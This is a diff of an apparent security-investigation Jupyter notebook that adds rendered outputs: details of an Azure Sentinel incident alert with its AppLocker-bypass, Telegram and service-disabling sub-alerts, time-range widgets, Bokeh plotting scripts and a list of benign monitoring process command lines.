ajpr166rpKQkV13avHmz1adPX9WuXVfPPz9YoaEt9Ouvv+jmzZsaPXqcWrcOU3p6uqZNe0u//PKT/PxKuDr0TZkyQ2vWrNTatatkNnvI09NTEyZE3e6cWYCjRw9r0aL5qly5ikaMeNZ1u8Nhl5eXt6zWTEkmzZkzQz/+uFtubm6qV+8xjRsXKR8fX4WEPK7ixX0UG/u2TCaTwsNba/bs+UpLS9P777+nhIQLucZfUE1rVNQE1a5d19XYZtOmDUpJSVZo6N3X1QEA7n+EqT9Yzi08PXr01KVLFzVgQG9JJgUGBmry5Om5Hh8e3lH/+MeX6t69g+x2u1q0aKUbN24oNTVFVatWk6enp/r27akVK9Zozpz5io2NUWamRXa7XdOmzVSFCg8pIqK34uPPKiKis0qW9FfFipX0888H8rVkfuSR2jpx4ph69uyiGzduyNPTU+XKldPy5WvUpUs7rV27ShERvVWtWpA2bdqgLVs+V2J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Alert: 'Security incident with shared process detected'

\n", + " Alert_time: 2019-02-11 18:10:58+00:00,\n", + " Compr_entity: MSTICALERTSWIN1,\n", + " Alert_id: 2518523921419094607_db29572d-7593-48c5-97b6-4d6d60ce6bf3\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
0
TenantId52b1ab41-869e-4138-9e40-2a4457f09bf0
TimeGenerated2019-02-12 04:59:47+00:00
AlertDisplayNameSecurity incident with shared process detected
AlertNameSecurity incident with shared process detected
SeverityHigh
DescriptionThe incident which started on 2019-02-11 18:10:58 UTC and recently detected on 2019-02-12 04:59:47 UTC indicates that an attacker has attacked other resources from your resource MSTICALERTSWIN1
ProviderNameDetection
VendorNameMicrosoft
VendorOriginalIddb29572d-7593-48c5-97b6-4d6d60ce6bf3
SystemAlertId2518523921419094607_db29572d-7593-48c5-97b6-4d6d60ce6bf3
ResourceId/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsWin1
SourceComputerId263a788b-6526-4cdc-8ed9-d79402fe4aa0
AlertTypeKillChainFusionIncident
ConfidenceLevelUnknown
ConfidenceScoreNaN
IsIncidentTrue
StartTimeUtc2019-02-11 18:10:58+00:00
EndTimeUtc2019-02-11 22:47:54+00:00
ProcessingEndTime2019-02-12 04:59:47+00:00
RemediationSteps[\\r\\n \"1. Escalate the alert to the information security team.\",\\r\\n \"2. Review the remediation steps of each one of the alerts\"\\r\\n]
ExtendedProperties{'isincident': 'true', 'Detected Time (UTC)': '2019-02-12 04:59:47 UTC', 'Incident Stage': 'attacked other resources from', 'Compromised Host': 'MSTICALERTSWIN1', 'Start Time (UTC)': '2019-02-11 18:10:58 UTC', 'crossvm': 'false', 'resourceType': 'Virtual Machine', 'ServiceId': '14fa08c7-c48e-4c18-950c-8148024b4398', 'ReportingSystem': 'Azure', 'OccuringDatacenter': 'eastus'}
Entities[{'$id': '4', 'DisplayName': 'Potential attempt to bypass AppLocker detected', 'CompromisedEntity': 'MSTICALERTSWIN1', 'Count': 2, 'Severity': 'High', 'SystemAlertIds': ['2518523921419094607_deb18209-676f-46c9-9c91-12ebb60c7b53'], 'AlertType': 'SCUBA_RULE_Applocker_Bypass', 'VendorName': 'Microsoft', 'ProviderName': 'Detection', 'StartTimeUtc': '2019-02-11T18:10:58.0905392Z', 'EndTimeUtc': '2019-02-11T18:10:58.0905392Z', 'Type': 'alerts', 'Location': 'Central US'}, {'$id': '5', 'DisplayName': 'Detected potentially suspicious use of Telegram tool', 'CompromisedEntity': 'MSTICALERTSWIN1', 'Count': 2, 'Severity': 'Medium', 'SystemAlertIds': ['2518523755258914710_6a491a9a-ce5f-451f-a6ef-0fad4ee73f67'], 'AlertType': 'SCUBA_RULE_Telegram_install', 'VendorName': 'Microsoft', 'ProviderName': 'Detection', 'StartTimeUtc': '2019-02-11T22:47:54.1085289Z', 'EndTimeUtc': '2019-02-11T22:47:54.1085289Z', 'Type': 'alerts', 'Location': 'Central US'}, {'$id': '6', 'DisplayName': 'Detected the disabling of critical services', 'CompromisedEntity': 'MSTICALERTSWIN1', 'Count': 2, 'Severity': 'Medium', 'SystemAlertIds': ['2518523755258704446_afc76197-3738-4bcd-8c12-5bbe0d07beb7'], 'AlertType': 'SCUBA_RULE_Lowering_Security_Settings', 'VendorName': 'Microsoft', 'ProviderName': 'Detection', 'StartTimeUtc': '2019-02-11T22:47:54.1295553Z', 'EndTimeUtc': '2019-02-11T22:47:54.1295553Z', 'Type': 'alerts', 'Location': 'Central US'}]
SourceSystemDetection
WorkspaceSubscriptionId40dcc8bf-0478-4f3b-b275-ed0a94f2c013
WorkspaceResourceGroupasihuntomsworkspacerg
ExtendedLinks
ProductName
ProductComponentName
AlertLink
TypeSecurityAlert
ComputerMSTICALERTSWIN1
src_hostnameMSTICALERTSWIN1
src_accountname
src_procname
host_matchTrue
acct_matchFalse
proc_matchFalse
CompromisedEntityMSTICALERTSWIN1

ExtendedProperties:

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0
isincidenttrue
Detected Time (UTC)2019-02-12 04:59:47 UTC
Incident Stageattacked other resources from
Compromised HostMSTICALERTSWIN1
Start Time (UTC)2019-02-11 18:10:58 UTC
crossvmfalse
resourceTypeVirtual Machine
ServiceId14fa08c7-c48e-4c18-950c-8148024b4398
ReportingSystemAzure
OccuringDatacentereastus

Entities:


{ 'AdditionalData': {},, 'AlertType': 'SCUBA_RULE_Applocker_Bypass',, 'CompromisedEntity': 'MSTICALERTSWIN1',, 'Count': 2,, 'DisplayName': 'Potential attempt to bypass AppLocker detected',, 'EndTimeUtc': '2019-02-11T18:10:58.0905392Z',, 'ProviderName': 'Detection',, 'Severity': 'High',, 'StartTimeUtc': '2019-02-11T18:10:58.0905392Z',, 'SystemAlertIds': ['2518523921419094607_deb18209-676f-46c9-9c91-12ebb60c7b53'],, 'Type': 'alerts',, 'VendorName': 'Microsoft'}
{ 'AdditionalData': {},, 'AlertType': 'SCUBA_RULE_Telegram_install',, 'CompromisedEntity': 'MSTICALERTSWIN1',, 'Count': 2,, 'DisplayName': 'Detected potentially suspicious use of Telegram tool',, 'EndTimeUtc': '2019-02-11T22:47:54.1085289Z',, 'ProviderName': 'Detection',, 'Severity': 'Medium',, 'StartTimeUtc': '2019-02-11T22:47:54.1085289Z',, 'SystemAlertIds': ['2518523755258914710_6a491a9a-ce5f-451f-a6ef-0fad4ee73f67'],, 'Type': 'alerts',, 'VendorName': 'Microsoft'}
{ 'AdditionalData': {},, 'AlertType': 'SCUBA_RULE_Lowering_Security_Settings',, 'CompromisedEntity': 'MSTICALERTSWIN1',, 'Count': 2,, 'DisplayName': 'Detected the disabling of critical services',, 'EndTimeUtc': '2019-02-11T22:47:54.1295553Z',, 'ProviderName': 'Detection',, 'Severity': 'Medium',, 'StartTimeUtc': '2019-02-11T22:47:54.1295553Z',, 'SystemAlertIds': ['2518523755258704446_afc76197-3738-4bcd-8c12-5bbe0d07beb7'],, 'Type': 'alerts',, 'VendorName': 'Microsoft'}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "def disp_full_alert(alert):\n", " global related_alert\n", @@ -495,7 +2522,7 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 13, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:15:11.683710Z", @@ -503,7 +2530,50 @@ }, "scrolled": true }, - "outputs": [], + "outputs": [ + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "2c5a4119b5b3468a857defc6a9076f1a", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HTML(value='

Set query time boundaries

')" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "1a40936bc2964c148bbbf7d4fd5017a6", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HBox(children=(DatePicker(value=datetime.date(2019, 2, 13), description='Origin Date'), Text(value='22:04:15',…" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "15c57835d9214ea4b236474b31abed6f", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "VBox(children=(IntRangeSlider(value=(-60, 10), description='Time Range (min):', layout=Layout(width='80%'), mi…" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "# set the origin time to the time of our alert\n", "query_times = nbwidgets.QueryTime(units='minute', origin_time=security_alert.origin_time)\n", @@ -512,14 +2582,437 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 14, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:18:46.782959Z", "start_time": "2020-05-16T02:18:43.483058Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "b8ca3b41287e44a6b042bd773315c3a3", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HBox(children=(IntProgress(value=0, bar_style='info', description='Progress:'), Label(value='0%')))" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "\n", + "
\n", + " \n", + " Loading BokehJS ...\n", + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "\n", + "(function(root) {\n", + " function now() {\n", + " return new Date();\n", + " }\n", + "\n", + " var force = true;\n", + "\n", + " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", + " root._bokeh_onload_callbacks = [];\n", + " root._bokeh_is_loading = undefined;\n", + " }\n", + "\n", + " var JS_MIME_TYPE = 'application/javascript';\n", + " var HTML_MIME_TYPE = 'text/html';\n", + " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", + " var CLASS_NAME = 'output_bokeh rendered_html';\n", + "\n", + " /**\n", + " * Render data to the DOM node\n", + " */\n", + " function render(props, node) {\n", + " var script = document.createElement(\"script\");\n", + " node.appendChild(script);\n", + " }\n", + "\n", + " /**\n", + " * Handle when an output is cleared or removed\n", + " */\n", + " function handleClearOutput(event, handle) {\n", + " var cell = handle.cell;\n", + "\n", + " var id = cell.output_area._bokeh_element_id;\n", + " var server_id = cell.output_area._bokeh_server_id;\n", + " // Clean up Bokeh references\n", + " if (id != null && id in Bokeh.index) {\n", + " Bokeh.index[id].model.document.clear();\n", + " delete Bokeh.index[id];\n", + " }\n", + "\n", + " if (server_id !== undefined) {\n", + " // Clean up Bokeh references\n", + " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", + " cell.notebook.kernel.execute(cmd, {\n", + " iopub: {\n", + " output: function(msg) {\n", + " var id = msg.content.text.trim();\n", + " if (id in Bokeh.index) {\n", + " Bokeh.index[id].model.document.clear();\n", + " delete Bokeh.index[id];\n", + " }\n", + " }\n", + " }\n", + " });\n", + " // Destroy server and session\n", + " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", + " cell.notebook.kernel.execute(cmd);\n", + " }\n", + " }\n", + "\n", + " /**\n", + " * Handle when a new output is added\n", + " */\n", + " function handleAddOutput(event, handle) {\n", + " var output_area = handle.output_area;\n", + " var output = handle.output;\n", + "\n", + " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", + " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", + " return\n", + " }\n", + "\n", + " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", + "\n", + " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", + " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", + " // store reference to embed id on output_area\n", + " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", + " }\n", + " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", + " var bk_div = document.createElement(\"div\");\n", + " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", + " var script_attrs = bk_div.children[0].attributes;\n", + " for (var i = 0; i < script_attrs.length; i++) {\n", + " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", + " toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n", + " }\n", + " // store reference to server id on output_area\n", + " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", + " }\n", + " }\n", + "\n", + " function register_renderer(events, OutputArea) {\n", + "\n", + " function append_mime(data, metadata, element) {\n", + " // create a DOM node to render to\n", + " var toinsert = this.create_output_subarea(\n", + " metadata,\n", + " CLASS_NAME,\n", + " EXEC_MIME_TYPE\n", + " );\n", + " this.keyboard_manager.register_events(toinsert);\n", + " // Render to node\n", + " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", + " render(props, toinsert[toinsert.length - 1]);\n", + " element.append(toinsert);\n", + " return toinsert\n", + " }\n", + "\n", + " /* Handle when an output is cleared or removed */\n", + " events.on('clear_output.CodeCell', handleClearOutput);\n", + " events.on('delete.Cell', handleClearOutput);\n", + "\n", + " /* Handle when a new output is added */\n", + " events.on('output_added.OutputArea', handleAddOutput);\n", + "\n", + " /**\n", + " * Register the mime type and append_mime function with output_area\n", + " */\n", + " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", + " /* Is output safe? */\n", + " safe: true,\n", + " /* Index of renderer in `output_area.display_order` */\n", + " index: 0\n", + " });\n", + " }\n", + "\n", + " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", + " if (root.Jupyter !== undefined) {\n", + " var events = require('base/js/events');\n", + " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", + "\n", + " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", + " register_renderer(events, OutputArea);\n", + " }\n", + " }\n", + "\n", + " \n", + " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", + " root._bokeh_timeout = Date.now() + 5000;\n", + " root._bokeh_failed_load = false;\n", + " }\n", + "\n", + " var NB_LOAD_WARNING = {'data': {'text/html':\n", + " \"
\\n\"+\n", + " \"

\\n\"+\n", + " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", + " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", + " \"

\\n\"+\n", + " \"
    \\n\"+\n", + " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n", + " \"
  • use INLINE resources instead, as so:
    • \\n\"+\n", + " \"
\\n\"+\n", + " \"\\n\"+\n", + " \"from bokeh.resources import INLINE\\n\"+\n", + " \"output_notebook(resources=INLINE)\\n\"+\n", + " \"\\n\"+\n", + " \"
\"}};\n", + "\n", + " function display_loaded() {\n", + " var el = document.getElementById(\"1625\");\n", + " if (el != null) {\n", + " el.textContent = \"BokehJS is loading...\";\n", + " }\n", + " if (root.Bokeh !== undefined) {\n", + " if (el != null) {\n", + " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", + " }\n", + " } else if (Date.now() < root._bokeh_timeout) {\n", + " setTimeout(display_loaded, 100)\n", + " }\n", + " }\n", + "\n", + "\n", + " function run_callbacks() {\n", + " try {\n", + " root._bokeh_onload_callbacks.forEach(function(callback) {\n", + " if (callback != null)\n", + " callback();\n", + " });\n", + " } finally {\n", + " delete root._bokeh_onload_callbacks\n", + " }\n", + " console.debug(\"Bokeh: all callbacks have finished\");\n", + " }\n", + "\n", + " function load_libs(css_urls, js_urls, callback) {\n", + " if (css_urls == null) css_urls = [];\n", + " if (js_urls == null) js_urls = [];\n", + "\n", + " root._bokeh_onload_callbacks.push(callback);\n", + " if (root._bokeh_is_loading > 0) {\n", + " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", + " return null;\n", + " }\n", + " if (js_urls == null || js_urls.length === 0) {\n", + " run_callbacks();\n", + " return null;\n", + " }\n", + " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", + " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", + "\n", + " function on_load() {\n", + " root._bokeh_is_loading--;\n", + " if (root._bokeh_is_loading === 0) {\n", + " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", + " run_callbacks()\n", + " }\n", + " }\n", + "\n", + " function on_error() {\n", + " console.error(\"failed to load \" + url);\n", + " }\n", + "\n", + " for (var i = 0; i < css_urls.length; i++) {\n", + " var url = css_urls[i];\n", + " const element = document.createElement(\"link\");\n", + " element.onload = on_load;\n", + " element.onerror = on_error;\n", + " element.rel = \"stylesheet\";\n", + " element.type = \"text/css\";\n", + " element.href = url;\n", + " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", + " document.body.appendChild(element);\n", + " }\n", + "\n", + " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", + "\n", + " for (var i = 0; i < js_urls.length; i++) {\n", + " var url = js_urls[i];\n", + " var element = document.createElement('script');\n", + " element.onload = on_load;\n", + " element.onerror = on_error;\n", + " element.async = false;\n", + " element.src = url;\n", + " if (url in hashes) {\n", + " element.crossOrigin = \"anonymous\";\n", + " element.integrity = \"sha384-\" + hashes[url];\n", + " }\n", + " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", + " document.head.appendChild(element);\n", + " }\n", + " };\n", + "\n", + " function inject_raw_css(css) {\n", + " const element = document.createElement(\"style\");\n", + " element.appendChild(document.createTextNode(css));\n", + " document.body.appendChild(element);\n", + " }\n", + "\n", + " \n", + " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", + " var css_urls = [];\n", + " \n", + "\n", + " var inline_js = [\n", + " function(Bokeh) {\n", + " Bokeh.set_log_level(\"info\");\n", + " },\n", + " function(Bokeh) {\n", + " \n", + " \n", + " }\n", + " ];\n", + "\n", + " function run_inline_js() {\n", + " \n", + " if (root.Bokeh !== undefined || force === true) {\n", + " \n", + " for (var i = 0; i < inline_js.length; i++) {\n", + " inline_js[i].call(root, root.Bokeh);\n", + " }\n", + " if (force === true) {\n", + " display_loaded();\n", + " }} else if (Date.now() < root._bokeh_timeout) {\n", + " setTimeout(run_inline_js, 100);\n", + " } else if (!root._bokeh_failed_load) {\n", + " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", + " root._bokeh_failed_load = true;\n", + " } else if (force !== true) {\n", + " var cell = $(document.getElementById(\"1625\")).parents('.cell').data().cell;\n", + " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", + " }\n", + "\n", + " }\n", + "\n", + " if (root._bokeh_is_loading === 0) {\n", + " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", + " run_inline_js();\n", + " } else {\n", + " load_libs(css_urls, js_urls, function() {\n", + " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", + " run_inline_js();\n", + " });\n", + " }\n", + "}(window));" + ], + "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1625\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1625\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "\n", + "\n", + "\n", + "\n", + "\n", + "\n", + "
\n" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "(function(root) {\n", + " function embed_document(root) {\n", + " \n", + " var docs_json = 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/nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\localhost.mof\\\" 